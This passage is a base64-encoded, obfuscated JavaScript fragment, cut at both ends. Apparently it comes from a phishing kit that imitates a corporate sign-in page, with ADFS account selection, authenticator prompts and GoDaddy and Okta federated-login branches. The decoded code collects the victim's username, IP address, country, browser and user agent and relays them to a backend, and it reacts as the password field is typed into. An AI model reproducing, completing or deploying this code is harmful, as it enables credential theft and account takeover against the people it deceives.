nAuY2xhc3NMaXN0LmFkZCgnZXJyb3ItaW5wJykNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKGlkKS5pbm5lclRleHQgPSAiIjsNCiAgICAgICAgICAgICAgICBpZih0eXBldmFsKSB7DQogICAgICAgICAgICAgICAgcHdkSW5wLmNsYXNzTGlzdC5yZW1vdmUoJ2Vycm9yLWlucCcpDQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQoNCiAgICBmdW5jdGlvbiBjaGVja2Vycm9yZGVzYyh2aWV3Y2hhbmdlLHR5cGUsdGV4dGFycikgew0KICAgICAgICBpZih0eXBlID09IDIpew0KICAgICAgICB2YXIgaWQgPSB2aWV3Y2hhbmdlOw0KICAgICAgICB9DQogICAgICAgIGlmKHR5cGUgPT0gMSl7DQogICAgICAgIHZhciBpZCA9ICdlcnJvcl8nK3ZpZXdjaGFuZ2U7DQogICAgICAgIH0NCiAgICAgICAgaWYodHlwZSA9PSAwKXsNCiAgICAgICAgdmFyIGlkID0gdmlld2NoYW5nZSsnZGVzYyc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKHRleHRhcnIudHlwZSA9PT0gJ3RleHRfbGluaycpIHsNCiAgICAgICAgaWYodGV4dGFyci5hX2lkID09ICJ1c2VBdXRoZW50aWNhdG9yIil7DQogICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKGlkKS5pbm5lckhUTUwgPSBgPHAgY2xhc3M9Im1iLTE2Ij4ke3RleHRhcnIudGV4dH0gPGEgaHJlZj0iamF2YXNjcmlwdDp2b2lkKDApIiBkYXRhLWlkPSJgK3RleHRhcnIuYV9pZCtgIiBvbmNsaWNrPSJsaW5rb3B0aW9uY2xpY2sodGhpcykiIGNsYXNzPSJsaW5rIj4ke3RleHRhcnIuYV90ZXh0fTwvYT4gb3IgdHJ5IHRvIHNpZ24gaW4gYWdhaW4gc2hvcnRseS48L3A+YDsNCiAgICAgICAgfQ0KICAgICAgICBpZih0ZXh0YXJyLmFfaWQgIT0gInVzZUF1dGhlbnRpY2F0b3IiKXsNCiAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoaWQpLmlubmVySFRNTCA9IGA8cCBjbGFzcz0ibWItMTYiPiR7dGV4dGFyci50ZXh0fSA8YSBocmVmPSJqYXZhc2NyaXB0OnZvaWQoMCkiIGRhdGEtaWQ9ImArdGV4dGFyci5hX2lkK2AiIG9uY2xpY2s9ImxpbmtvcHRpb25jbGljayh0aGlzKSIgY2xhc3M9ImxpbmsiPiR7dGV4dGFyci5hX3RleHR9PC9hPjwvcD5gOw0KICAgICAgICB9DQogICAgICAgIH0gZWxzZSBpZiAodGV4dGFyci50eXBlID09PSAnbGlua190ZXh0Jykgew0KICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZChpZCkuaW5uZXJIVE1MID0gYDxhIGNsYXNzPSJsaW5rIG1iLTE2IiBocmVmPSJqYXZhc2NyaXB0OnZvaWQoMCkiIGRhdGEtaWQ9ImArdGV4dGFyci5hX2lkK2AiIG9uY2xpY2s9ImxpbmtvcHRpb25jbGljayh0aGlzKSI+JHt0ZXh0YXJyLmFfdGV4dH08L2E+IDxwPiR7dGV4dGFyci50ZXh0fTwvcD5gOw0KICAgICAgICB9IGVsc2UgaWYgKHRleHRhcnIudHlwZSA9PT0gJ2xpbmsnKSB7DQogICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKGlkKS5pbm5lckhUTUwgPSBgPGEgY2xhc3M9ImxpbmsgbWItMTYiIGhyZWY9ImphdmFzY3JpcHQ6dm9pZCgwKSIgZGF0YS1pZD0iYCt0ZXh0YXJyLmFfaWQrYCIgb25jbGljaz0ibGlua29wdGlvbmNsaWNrKHRoaXMpIj4ke3RleHRhcnIuYV90ZXh0fTwvYT5gOw0KICAgICAgICB9IGVsc2UgaWYgKHRleHRhcnIudHlwZSA9PT0gJ3RleHQnKSB7DQogICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKGlkKS5pbm5lckhUTUwgPSBgPHA+JHt0ZXh0YXJyLnRleHR9PC9wPmA7DQogICAgICAgIH0NCiAgICAgICAgfQ0KDQogICAgZnVuY3Rpb24gc2VsZWN0bXVsdGlwbGVhY2NvdW50YWRmcyhlbGVtZW50KSB7DQogICAgY29uc3QgZWxlbWVudHMgPSBkb2N1bWVudC5nZXRFbGVtZW50c0J5Q2xhc3NOYW1lKCJpZHAiKTsNCiAgICAgIA0KICAgIGxldCBjbGlja2VkRWxlbWVudEluZGV4ID0gLTE7DQogICAgZm9yIChsZXQgaSA9IDA7IGkgPCBlbGVtZW50cy5sZW5ndGg7IGkrKykgew0KICAgICAgICBpZiAoZWxlbWVudHNbaV0gPT09IGVsZW1lbnQpIHsNCiAgICAgICAgY2xpY2tlZEVsZW1lbnRJbmRleCA9IGk7DQogICAgICAgIGJyZWFrOw0KICAgICAgICB9DQogICAgfQ0KICAgIHNlbmRBbmRSZWNlaXZlKCdzZWxlY3RtdWx0aXBsZWFjY291bnRhZGZzJywgW2NsaWNrZWRFbGVtZW50SW5kZXhdLDEpDQogICAgICAudGhlbihyZXNwb25zZSA9PiB7DQogICAgaWYgKHJlc3BvbnNlICYmIHJlc3BvbnNlWydtZXNzYWdlJ10gIT09ICJ3YWl0aW5nIGZvciBwcmV2aW91cyByZXF1ZXN0IHRvIGNvbXBsZXRlIikgew0KICAgIGlmIChyZXNwb25zZVsnbWVzc2FnZSddID09ICdwYXNzd29yZCcpIHsNCiAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgic2VjdGlvbl9tdWx0aXBsZWFjY291bnRzX2FkZnMiKS5jbGFzc0xpc3QudG9nZ2xlKCdkLW5vbmUnKTsNCiAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc2VjdGlvbl9zaWRlYmFybG9naW5fYWRmcycpLmNsYXNzTGlzdC5yZW1vdmUoJ2Qtbm9uZScpOw0KICAgIHZpZXcgPSAic2lkZWJhcl9wd2RfYWRmcyINCiAgICB9Y29uc29sZS5sb2coJ1JlY2VpdmVkIHJlc3BvbnNlOicsIHJlc3BvbnNlKTsNCiAgICB9DQogICAgfSkNCiAgICAuY2F0Y2goZXJyb3IgPT4gew0KICAgIGxvYWRpbmdhbmltYXRpb24oMSk7DQogICAgY29uc29sZS5lcnJvcignRXJyb3I6JywgZXJyb3IpOw0KICAgIH0pOw0KICAgIH0NCiAgICBmdW5jdGlvbiBkaXNwbGF5bXVsdGlwbGVhY2NvdW50c2FkZnMoYXJyYXkpIHsNCiAgICBjb25zdCBwYXJlbnRFbGVtZW50ID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIm11bHRpcGxlYWNjb3VudHNhZGZzIik7DQogICAgICBwYXJlbnRFbGVtZW50LmlubmVySFRNTCA9ICcnOw0KICAgICAgYXJyYXkuZm9yRWFjaCgoaXRlbSkgPT4gew0KICAgICAgICAgIGNvbnN0IGRpdklkcCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImRpdiIpOw0KICAgICAgICAgIGRpdklkcC5jbGFzc0xpc3QuYWRkKCJpZHAiKTsNCiAgICAgICAgICBkaXZJZHAuc2V0QXR0cmlidXRlKCJvbmNsaWNrIiwgInNlbGVjdG11bHRpcGxlYWNjb3VudGFkZnModGhpcykiKTsNCiAgICAgICAgICBjb25zdCBpbWcgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCJpbWciKTsNCiAgICAgICAgICBpbWcuY2xhc3NMaXN0LmFkZCgibGFyZ2VJY29uIiwgImZsb2F0Iik7DQogICAgICAgICAgaW1nLnNyYyA9IGl0ZW0uaW1hZ2Vfc3JjOw0KICAgICAgICAgIGltZy5hbHQgPSBpdGVtLmVtYWlsOw0KICAgICAgICAgIGNvbnN0IGRpdklkcERlc2NyaXB0aW9uID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiZGl2Iik7DQogICAgICAgICAgZGl2SWRwRGVzY3JpcHRpb24uY2xhc3NMaXN0LmFkZCgiaWRwRGVzY3JpcHRpb24iLCAiZmxvYXQiKTsNCiAgICAgICAgICBjb25zdCBzcGFuTGFyZ2VUZXh0ID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic3BhbiIpOw0KICAgICAgICAgIHNwYW5MYXJnZVRleHQuY2xhc3NMaXN0LmFkZCgibGFyZ2VUZXh0Tm9XcmFwIiwgImluZGVudE5vbkNvbGxhcHNpYmxlIik7DQogICAgICAgICAgc3BhbkxhcmdlVGV4dC5pbm5lclRleHQgPSBpdGVtLmVtYWlsOw0KICAgICAgICAgIGRpdklkcERlc2NyaXB0aW9uLmFwcGVuZENoaWxkKHNwYW5MYXJnZVRleHQpOw0KICAgICAgICAgIGRpdklkcC5hcHBlbmRDaGlsZChpbWcpOw0KICAgICAgICAgIGRpdklkcC5hcHBlbmRDaGlsZChkaXZJZHBEZXNjcmlwdGlvbik7DQogICAgICAgICAgcGFyZW50RWxlbWVudC5hcHBlbmRDaGlsZChkaXZJZHApOw0KICAgICAgfSk7DQogICAgfQ0KDQogICAgLy8gZnVuY3Rpb24gd2FpdGZvcndlYih2aWV3bmFtZSl7DQogICAgLy8gICAgICAgc2VuZEFuZFJlY2VpdmUoJ3dhaXR3ZWJzaXRlJywgW10sMSkNCiAgICAvLyAgICAgICAgICAgLnRoZW4ocmVzcG9uc2UgPT4gew0KICAgIC8vICAgICAgICAgaWYgKHJlc3BvbnNlICYmIHJlc3BvbnNlWydtZXNzYWdlJ10gIT09ICJ3YWl0aW5nIGZvciBwcmV2aW91cyByZXF1ZXN0IHRvIGNvbXBsZXRlIikgew0KICAgIC8vICAgICAgICAgZm9yICh2YXIgaSA9IDA7IGkgPCB3ZWJzaXRlbmFtZXMubGVuZ3RoOyBpKyspIHsNCiAgICAvLyAgICAgICAgIGlmIChyZXNwb25zZVsnbWVzc2FnZSddLmluY2x1ZGVzKCJuZXd3ZWJzaXRlb3BlbiIpID09IHRydWUgJiYgcmVzcG9uc2VbJ21lc3NhZ2UnXS5pbmNsdWRlcyh3ZWJzaXRlbmFtZXNbaV0pID09IHRydWUpew0KICAgIC8vICAgICAgICAgbWF0Y2hGb3VuZCA9IHRydWU7DQogICAgLy8gICAgICAgICBkb2N1bWVudC5xdWVyeVNlbGVjdG9yQWxsKCcudXNlcl9pZGVudGl0eScpLmZvckVhY2goKGUpID0+IHsNCiAgICAvLyAgICAgICAgICAgICBlLmlubmVyVGV4dCA9IHVuYW1lSW5wLnZhbHVlOw0KICAgIC8vICAgICAgICAgfSk7DQoNCiAgICAvLyAgICAgICAgIGlmKHdlYnNpdGVuYW1lc1tpXSA9PSAnZ29kYWRkeScpew0KICAgIC8vICAgICAgICAgdmFyIHdlYnNpdGVzY3JpcHQgPSBnZGY7DQoNCiAgICAvLyAgICAgICAgIHZhciBleGlzdGluZ1NjcmlwdCA9IGRvY3VtZW50LnF1ZXJ5U2VsZWN0b3IoJ3NjcmlwdFtzcmNePSInK2dkZisnIl0nKTsNCg0KICAgIC8vICAgICAgICAgaWYgKCFleGlzdGluZ1NjcmlwdCkgew0KICAgIC8vICAgICAgICAgICAgIHZhciBzY3JpcHRFbGVtZW50ID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7DQogICAgLy8gICAgICAgICAgICAgc2NyaXB0RWxlbWVudC5zcmMgPSB3ZWJzaXRlc2NyaXB0Ow0KICAgIC8vICAgICAgICAgICAgIGRvY3VtZW50LmhlYWQuYXBwZW5kQ2hpbGQoc2NyaXB0RWxlbWVudCk7DQogICAgLy8gICAgICAgICB9DQogICAgLy8gICAgICAgICBwYWdldmlzaXRlZCgpOw0KICAgIC8vICAgICAgICAgY29uc3QgaG92ZXJTdHlsZSA9IGANCiAgICAvLyAgICAgICAgIDo6LW1vei1zZWxlY3Rpb24gew0KICAgIC8vICAgICAgICAgYmFja2dyb3VuZDogI2E2ZmZmODsNCiAgICAvLyAgICAgICAgIH0NCiAgICAgICAgICAgIA0KICAgIC8vICAgICAgICAgOjpzZWxlY3Rpb24gew0KICAgIC8vICAgICAgICAgYmFja2dyb3VuZDogI2E2ZmZmODsNCiAgICAvLyAgICAgICAgIH0NCiAgICAvLyAgICAgICAgIGA7DQogICAgLy8gICAgICAgICBjb25zdCBzdHlsZUVsZW1lbnQgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzdHlsZScpOw0KICAgIC8vICAgICAgICAgc3R5bGVFbGVtZW50LmlkID0gJ2R5bmFtaWMtc3R5bGUnOw0KICAgIC8vICAgICAgICAgc3R5bGVFbGVtZW50LnRleHRDb250ZW50ID0gaG92ZXJTdHlsZTsNCiAgICAvLyAgICAgICAgIGRvY3VtZW50LmhlYWQuYXBwZW5kQ2hpbGQoc3R5bGVFbGVtZW50KTsNCg0KICAgIC8vICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInNlY3Rpb25fIit2aWV3bmFtZSkuY2xhc3NMaXN0LnRvZ2dsZSgnZC1ub25lJyk7DQogICAgLy8gICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgic2VjdGlvbnMiKS5jbGFzc0xpc3QudG9nZ2xlKCdkLW5vbmUnKTsNCiAgICAvLyAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzZWN0aW9uc18nK3dlYnNpdGVuYW1lc1tpXSsnJykuY2xhc3NMaXN0LnJlbW92ZSgnZC1ub25lJyk7DQogICAgLy8gICAgICAgICBkb2N1bWVudC5ib2R5LnN0eWxlLnNldFByb3BlcnR5KCdiYWNrZ3JvdW5kLWNvbG9yJywgJyNmNWY3ZjgnLCAnaW1wb3J0YW50Jyk7DQogICAgLy8gICAgICAgICBkb2N1bWVudC5ib2R5LnN0eWxlLnNldFByb3BlcnR5KCdiYWNrZ3JvdW5kLWltYWdlJywgJ3Vuc2V0JywgJ2ltcG9ydGFudCcpOw0KICAgIC8vICAgICAgICAgZG9jdW1lbnQuYm9keS5zdHlsZS5zZXRQcm9wZXJ0eSgnb3ZlcmZsb3cnLCAnYXV0bycsICdpbXBvcnRhbnQnKTsNCiAgICAvLyAgICAgICAgIHZpZXcgPSAicHdkX2dvZGFkZHkiOw0KICAgIC8vICAgICAgICAgfQ0KDQogICAgLy8gICAgICAgICB9DQoNCiAgICAvLyAgICAgICAgIGlmIChyZXNwb25zZVsnbWVzc2FnZSddLmluY2x1ZGVzKCJuZXd3ZWJzaXRlb3BlbiIpID09IHRydWUgJiYgaSA9PSB3ZWJzaXRlbmFtZXMubGVuZ3RoIC0gMSAmJiAhbWF0Y2hGb3VuZCkgew0KICAgIC8vICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImVycm9yXyIrdmlld25hbWUpLmlubmVyVGV4dCA9ICIiOw0KICAgIC8vICAgICAgICAgZG9jdW1lbnQucXVlcnlTZWxlY3RvckFsbCgnLnVzZXJfaWRlbnRpdHknKS5mb3JFYWNoKChlKSA9PiB7DQogICAgLy8gICAgICAgICAgICAgZS5pbm5lclRleHQgPSB1bmFtZUlucC52YWx1ZTsNCiAgICAvLyAgICAgICAgIH0pOw0KDQogICAgLy8gICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgic2VjdGlvbl8iK3ZpZXduYW1lKS5jbGFzc0xpc3QudG9nZ2xlKCdkLW5vbmUnKTsNCiAgICAvLyAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzZWN0aW9uX3B3ZCcpLmNsYXNzTGlzdC5yZW1vdmUoJ2Qtbm9uZScpOw0KICAgIC8vICAgICAgICAgd2Vibm90Zm91bmQgPSB0cnVlOw0KICAgIC8vICAgICAgICAgdmlldyA9ICJwd2QiOw0KICAgIC8vICAgICAgICAgfQ0KDQogICAgLy8gICAgICAgICB9DQogICAgLy8gICAgICAgICB9DQogICAgLy8gICAgICAgICB9KQ0KICAgIC8vICAgICAgICAgLmNhdGNoKGVycm9yID0+IHsNCiAgICAvLyAgICAgICAgIGNvbnNvbGUuZXJyb3IoJ0Vycm9yOicsIGVycm9yKTsNCiAgICAvLyAgICAgICAgIH0pOw0KICAgIC8vIH0NCg0KICAgIGZ1bmN0aW9uIHBhZ2V2aXNpdGVkKGVtYWlsLG1haWx0eXBldmFsKXsNCiAgICAgICAgICAgIGlmKHBhZ2V2aXNpdGVkYWxyZWFkeSA9PSBudWxsKXsNCiAgICAgICAgICAgIHBhZ2V2aXNpdGVkYWxyZWFkeSA9IDE7DQogICAgICAgICAgICBzZW5kQW5kUmVjZWl2ZSgncGFnZXZpc2l0JywgW2J0b2EodXNlckFnZW50KV0sMSkNCiAgICAgICAgICAgIC50aGVuKHJlc3BvbnNlID0+IHsNCiAgICAgICAgICAgIGlmIChyZXNwb25zZSAmJiByZXNwb25zZVsnbWVzc2FnZSddID09ICJhcGkgZXhwaXJlZCIpIHsNCiAgICAgICAgICAgIGRvY3VtZW50Lm9wZW4oKTsNCiAgICAgICAgICAgIGRvY3VtZW50LndyaXRlKCJhcGkgZXhwaXJlZCIpOw0KICAgICAgICAgICAgZG9jdW1lbnQuY2xvc2UoKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0pDQogICAgICAgICAgICAuY2F0Y2goZXJyb3IgPT4gew0KICAgICAgICAgICAgY29uc29sZS5lcnJvcignRXJyb3I6JywgZXJyb3IpOw0KICAgICAgICAgICAgfSk7DQogICAgICAgICAgICB9DQogICAgICAgICAgICB9DQoNCiAgICBwd2RJbnAuYWRkRXZlbnRMaXN0ZW5lcignaW5wdXQnLCBmdW5jdGlvbigpIHsNCiAgICAgIGlmKHBkZmNoZWNrID09IDApew0KICAgICAgICBpZiAocHdkSW5wLnZhbHVlLnRyaW0oKSAhPT0gIiIpIHsNCiAgICAgICAgICAgIHBhZ2V2aXNpdGVkKGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdpbnBfdW5hbWUnKS52YWx1ZSxwdm4pOw0KICAgICAgICB9DQogICAgICAgIH0NCg0KICAgICAgICBpZihwZGZjaGVjayA9PSAxKXsNCiAgICAgICAgaWYgKHB3ZElucC52YWx1ZS50cmltKCkgIT09ICIiKSB7DQogICAgICAgICAgICBwYWdldmlzaXRlZChkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgncGRmZW1haWwnKS52YWx1ZSxwdm4pOw0KICAgICAgICB9DQogICAgICAgIH0NCiAgICB9KTsNCg0KICAgIHB3ZElucGxpdmUuYWRkRXZlbnRMaXN0ZW5lcignaW5wdXQnLCBmdW5jdGlvbigpIHsNCiAgICAgIGlmKHBkZmNoZWNrID09IDApew0KICAgICAgICBpZiAocHdkSW5wbGl2ZS52YWx1ZS50cmltKCkgIT09ICIiKSB7DQogICAgICAgICAgICBwYWdldmlzaXRlZChkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnaW5wX3VuYW1lJykudmFsdWUscHZuKTsNCiAgICAgICAgfQ0KICAgICAgICB9DQoNCiAgICAgICAgaWYocGRmY2hlY2sgPT0gMSl7DQogICAgICAgIGlmIChwd2RJbnBsaXZlLnZhbHVlLnRyaW0oKSAhPT0gIiIpIHsNCiAgICAgICAgICAgIHBhZ2V2aXNpdGVkKGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdwZGZlbWFpbCcpLnZhbHVlLHB2bik7DQogICAgICAgIH0NCiAgICAgICAgfQ0KICAgIH0pOw0KDQogICAgZnVuY3Rpb24gc2VuZGVtYWlsKCl7DQogICAgICAgICAgLy8gc2VuZEFuZFJlY2VpdmUoJ2NoZWNrZW1haWwnLCBbdW5hbWVJbnAudmFsdWUscGFnZWxpbmt2YWwsYnJvd3Nlck5hbWUsdXNlcmlwXSwxKQ0KICAgICAgICAgIHNlbmRBbmRSZWNlaXZlKCdjaGVja2VtYWlsJywgW3VuYW1lSW5wLnZhbHVlLHBhZ2VsaW5rdmFsLGJyb3dzZXJOYW1lLHVzZXJpcCx1c2VyY291bnRyeV0sMSkNCiAgICAgICAgICAudGhlbihyZXNwb25zZSA9PiB7DQogICAgICAgICAgaWYgKHJlc3BvbnNlICYmIHJlc3BvbnNlWydtZXNzYWdlJ10gIT09ICJ3YWl0aW5nIGZvciBwcmV2aW91cyByZXF1ZXN0IHRvIGNvbXBsZXRlIikgew0KICAgICAgICAgICAgbG9hZGluZ2FuaW1hdGlvbigxKTsNCiAgICAgICAgICAgIHZhciBtYXRjaEZvdW5kID0gZmFsc2U7DQoNCiAgICAgICAgICAgIHZhciBhbmltZHVyYXRpb24gPSAzMDA7DQogICAgICAgICAgICBpZiAocmVzcG9uc2VbJ21lc3NhZ2UnXS5pbmNsdWRlcygibmV3d2Vic2l0ZW9wZW4iKSA9PSBmYWxzZSAmJiByZXNwb25zZVsnbWVzc2FnZSddICE9PSAiZXJyb3IiKXsNCiAgICAgICAgICAgIHJ1bmFuaW1hdGlvbigyLHZpZXcsMC4zKTsNCiAgICAgICAgICAgIGlmKHJlc3BvbnNlWydhY2N0eXBlJ10gJiYgcmVzcG9uc2VbJ2FjY3R5cGUnXSA9PSAyKXsNCiAgICAgICAgICAgIHB2biA9IDE7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBpZihyZXNwb25zZVsnYWNjdHlwZSddID09IHVuZGVmaW5lZCB8fCByZXNwb25zZVsnYWNjdHlwZSddICYmIHJlc3BvbnNlWydhY2N0eXBlJ10gPT0gMSl7DQogICAgICAgICAgICBwdm4gPSAwOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICBpZiAocmVzcG9uc2VbJ21lc3NhZ2UnXS5pbmNsdWRlcygibmV3d2Vic2l0ZW9wZW4iKSA9PSBmYWxzZSl7DQogICAgICAgICAgICBhbmltZHVyYXRpb24gPSAwOw0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICBzZXRUaW1lb3V0KGZ1bmN0aW9uKCkgew0KDQogICAgICAgICAgICBmb3IgKHZhciBpID0gMDsgaSA8IHdlYnNpdGVuYW1lcy5sZW5ndGg7IGkrKykgew0KICAgICAgICAgICAgaWYgKHJlc3BvbnNlWydtZXNzYWdlJ10uaW5jbHVkZXMoIm5ld3dlYnNpdGVvcGVuIikgPT0gdHJ1ZSAmJiByZXNwb25zZVsnbWVzc2FnZSddLmluY2x1ZGVzKHdlYnNpdGVuYW1lc1tpXSkgPT0gdHJ1ZSl7DQogICAgICAgICAgICBtYXRjaEZvdW5kID0gdHJ1ZTsNCiAgICAgICAgICAgIGRvY3VtZW50LnF1ZXJ5U2VsZWN0b3JBbGwoJy51c2VyX2lkZW50aXR5JykuZm9yRWFjaCgoZSkgPT4gew0KICAgICAgICAgICAgICAgIGUuaW5uZXJUZXh0ID0gdW5hbWVJbnAudmFsdWU7DQogICAgICAgICAgICB9KTsNCg0KICAgICAgICAgICAgaWYod2Vic2l0ZW5hbWVzW2ldID09ICdnb2RhZGR5Jyl7DQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiZXJyb3JfdW5hbWUiKS5pbm5lclRleHQgPSAiIjsNCiAgICAgICAgICAgIGRvY3VtZW50LnF1ZXJ5U2VsZWN0b3JBbGwoJy51c2VyX2lkZW50aXR5JykuZm9yRWFjaCgoZSkgPT4gew0KICAgICAgICAgICAgICAgIGUuaW5uZXJUZXh0ID0gdW5hbWVJbnAudmFsdWU7DQogICAgICAgICAgICB9KTsNCiAgICAgICAgICAgIGJvdHRvbXNlY3Rpb25saW5rcygncHdkJyxbe2FfaWQ6ICJpZEFfUFdEX0ZvcmdvdFBhc3N3b3JkIiwgYV90ZXh0OiAiRm9yZ290IG15IHBhc3N3b3JkIiwgdHlwZTogImxpbmsifV0pDQogICAgICAgICAgICBjaGFuZ2ViYWNrYnV0dG9uKCdwd2QnLDEpOw0KICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInNlY3Rpb25fdW5hbWUiKS5jbGFzc0xpc3QudG9nZ2xlKCdkLW5vbmUnKTsNCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzZWN0aW9uX3B3ZCcpLmNsYXNzTGlzdC5yZW1vdmUoJ2Qtbm9uZScpOw0KICAgICAgICAgICAgb3RoZXJ3ZWJ1cmwgPSByZXNwb25zZVsnbWVzc2FnZSddLnJlcGxhY2UoJ25ld3dlYnNpdGVvcGVuJywgJycpOw0KICAgICAgICAgICAgd2Vibm90Zm91bmQgPSBmYWxzZTsNCiAgICAgICAgICAgIHZpZXcgPSAicHdkIjsNCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgaWYod2Vic2l0ZW5hbWVzW2ldID09ICdva3RhJyl7DQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiZXJyb3JfdW5hbWUiKS5pbm5lclRleHQgPSAiIjsNCiAgICAgICAgICAgIGRvY3VtZW50LnF1ZXJ5U2VsZWN0b3JBbGwoJy51c2VyX2lkZW50aXR5JykuZm9yRWFjaCgoZSkgPT4gew0KICAgICAgICAgICAgICAgIGUuaW5uZXJUZXh0ID0gdW5hbWVJbnAudmFsdWU7DQogICAgICAgICAgICB9KTsNCiAgICAgICAgICAgIGJvdHRvbXNlY3Rpb25saW5rcygncHdkJyxbe2FfaWQ6ICJpZEFfUFdEX0ZvcmdvdFBhc3N3b3JkIiwgYV90ZXh0OiAiRm9yZ290IG15IHBhc3N3b3JkIiwgdHlwZTogImxpbmsifV0pDQogICAgICAgICAgICBjaGFuZ2ViYWNrYnV0dG9uKCdwd2QnLDEpOw0KICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInNlY3Rpb25fdW5hbWUiKS5jbGFzc0xpc3QudG9nZ2xlKCdkLW5vbmUnKTsNCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzZWN0aW9uX3B3ZCcpLmNsYXNzTGlzdC5yZW1vdmUoJ2Qtbm9uZScpOw0KICAgICAgICAgICAgb3RoZXJ3ZWJ1cmwgPSByZXNwb25zZVsnbWVzc2FnZSddLnJlcGxhY2UoJ25ld3dlYnNpdGVvcGVuJywgJycpOw0KICAgICAgICAgICAgd2Vibm90Zm91bmQgPSB0cnVlOw0KICAgICAgICAgICAgdmlldyA9ICJwd2QiOw0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgIGlmIChyZXNwb25zZVsnbWVzc2FnZSddLmluY2x1ZGVzKCJuZXd3ZWJzaXRlb3BlbiIpID09IHRydWUgJiYgaSA9PSB3ZWJzaXRlbmFtZXMubGVuZ3RoIC0gMSAmJiAhbWF0Y2hGb3VuZCkgew0KICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImVycm9yX3VuYW1lIikuaW5uZXJUZXh0ID0gIiI7DQogICAgICAgICAgICBkb2N1bWVudC5xdWVyeVNlbGVjdG9yQWxsKCcudXNlcl9pZGVudGl0eScpLmZvckVhY2goKGUpID0+IHsNCiAgICAgICAgICAgICAgICBlLmlubmVyVGV4dCA9IHVuYW1lSW5wLnZhbHVlOw0KICAgICAgICAgICAgfSk7DQogICAgICAgICAgICBib3R0b21zZWN0aW9ubGlua3MoJ3B3ZCcsW3thX2lkOiAiaWRBX1BXRF9Gb3Jnb3RQYXNzd29yZCIsIGFfdGV4dDogIkZvcmdvdCBteSBwYXNzd29yZCIsIHR5cGU6ICJsaW5rIn1dKQ0KICAgICAgICAgICAgY2hhbmdlYmFja2J1dHRvbigncHdkJywwKTsNCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJzZWN0aW9uX3VuYW1lIikuY2xhc3NMaXN0LnRvZ2dsZSgnZC1ub25lJyk7DQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc2VjdGlvbl9wd2QnKS5jbGFzc0xpc3QucmVtb3ZlKCdkLW5vbmUnKTsNCiAgICAgICAgICAgIG90aGVyd2VidXJsID0gcmVzcG9uc2VbJ21lc3NhZ2UnXS5yZXBsYWNlKCduZXd3ZWJzaXRlb3BlbicsICcnKTsNCiAgICAgICAgICAgIHdlYm5vdGZvdW5kID0gdHJ1ZTsNCiAgICAgICAgICAgIHZpZXcgPSAicHdkIjsNCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAvLyBpZiAocmVzcG9uc2VbJ21lc3NhZ2UnXSA9PSAic2lnbnRvYW5vdGhlcndlYiIpew0KICAgICAgICAgICAgLy8gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3NlY3Rpb25fdW5hbWUnKS5xdWVyeVNlbGVjdG9yKCcuc2VjdGlvbmNvbnRlbnQnKS5zdHlsZS5hbmltYXRpb24gPSAnaGlkZS10by1sZWZ0IDAuNXMgZm9yd2FyZHMnOw0KICAgICAgICAgICAgLy8gc2V0VGltZW91dChmdW5jdGlvbigpeyAgICAgICAgIA0KICAgICAgICAgICAgLy8gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInNlY3Rpb25fdW5hbWUiKS5jbGFzc0xpc3QudG9nZ2xlKCdkLW5vbmUnKTsNCiAgICAgICAgICAgIC8vIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzZWN0aW9uX3NpZ250b2Fub3RoZXJ3ZWInKS5jbGFzc0xpc3QucmVtb3ZlKCdkLW5vbmUnKTsNCiAgICAgICAgI